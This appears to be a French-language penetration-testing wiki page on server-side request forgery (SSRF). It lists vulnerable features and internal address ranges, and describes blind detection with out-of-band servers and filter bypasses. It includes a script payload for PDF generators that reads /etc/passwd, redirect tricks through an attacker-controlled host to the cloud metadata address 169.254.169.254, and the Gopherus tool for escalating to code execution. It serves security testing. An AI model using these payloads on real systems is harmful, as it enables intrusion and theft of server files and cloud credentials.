🕹️SSRF
Server-Side Request Forgery
Dernière mise à jour
Server-Side Request Forgery
Dernière mise à jour
La contrefaçon de requête côté serveur (également connue sous le nom de SSRF) est une vulnérabilité qui permet à un attaquant d'inciter l'application côté serveur à effectuer des requêtes vers un emplacement non souhaité.
Dans une attaque SSRF typique, l'attaquant peut amener le serveur à établir une connexion avec des services internes uniquement au sein de l'infrastructure de l'organisation. Dans d'autres cas, ils peuvent être en mesure de forcer le serveur à se connecter à des systèmes externes arbitraires, ce qui risque de divulguer des données sensibles telles que les informations d'identification d'autorisation.
Parmis ces fonctionnalitées, on retrouve toutes celles qui nécessitent de visiter et de récupérer des ressources externes.
C'est-à-dire:
Webhooks
Tumbnails
Extensions de lien
Services de proxy
URL intégrés dans des fichiers traités par l'application (XML, PDF par exemple)
API endpoints
Entrées utilisées dans des balises HTML
Parmis les urls internes que l'on retrouve souvent dans les entreprises, on retrouve principalement les éléments suivant:
localhost
127.0.0.1
0.0.0.0
192.168.0.1
10.0.0.1
10.0.0.0/8
127.0.0.1/32
172.16.0.0/12
192.168.0.0/16
Dans le cas de SSRF standard, voyez si le serveur renvoie une réponse qui révèle toute information sur le service interne. Par exemple, la réponse contiennent des bannières de services ou le contenu de pages internes ?
Exemple:
Le moyen le plus simple de détecter les SSRF aveugles consiste à utiliser une technologie hors bande. On fait en sorte que la cible envoie des requêtes à un serveur externe sous notre contrôle, puis on vérifie les réponses dans les logs du serveur. Pour ce faire, vous pouvez utiliser un service d'hébergement en ligne, tel que GoDaddy ou Hostinger qui fournissent les journaux d'accès au serveur. On peut aussi utiliser burp collaborator dans le cas où on possède burp pro.
Si des entrées utilisateur sont reflété dans un PDF lors de sa génération, il est parfois possible d'obtenir une SSRF en utilisant XMLHttpRequest comme ceci par exemple:
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
Les serveurs web traitent naturellement le domaine présent dans le header HTTP "Host:" avant l'hôte fourni dans l'URL.
Le principe du domain fronting est donc de remplacer le domaine du header Host par un domaine contrôlé par l'attaquant (Host header injection). Cependant, pour que cela fonctionne, il est nécessaire que les deux domaines (dans le header Host et l'URL) aient leur fichier de configuration Virtual Host présent sur le même serveur web.
http://nicob.net/redir6a => https://169.254.169.254/
Via utilisation d'un open redirect ce qui permettrait de passer par un (sous-)domaine de confiance.
On peut également essayer de placer un domaine de confiance dans le point vulnérable tel que https://trusted.target.com@127.0.0.1
On peut par exemple essayer de passer par un domaine en notre possession qui contiendrait une redirection vers une IP interne.
Exemple:
Requête envoyée:
https://target.com/proxy?url=https://attacker.com/ssrf
Contenu de https://attacker.com/ssrf
:
En effet si une protection a été mise en place sur les IPv4 il n'est pas impossible que les IPv6 aient été omises.
Il est également tout a fait possible de faire pointer un enregistrement DNS A ou AAAA de votre serveur vers une IP interne type 127.0.0.1.
Dans ce cas, lorsque le serveur cible fera une requête vers votre serveur, il fera en fait une requête vers l'IP interne spécifié de son réseau.
Via hostname à la place d'IP
Exemple: 169.254.169.254 => 169.254.169.254.nip.io ou 169-254-169-254.nip.io
Voir SSRF Bypass.
Gopherus est un outil permettant de tenter d'escalader une SSRF en RCE en générant des lien exploitant divers services. (Applications PHP seulement)
Exemple d'utilisation:
$ gopherus --exploit mysql
ressource: https://github.com/tarunkant/Gopherus
Service de DNS rebinding pour SSRF en aveugle.
ressource: https://github.com/taviso/rbndr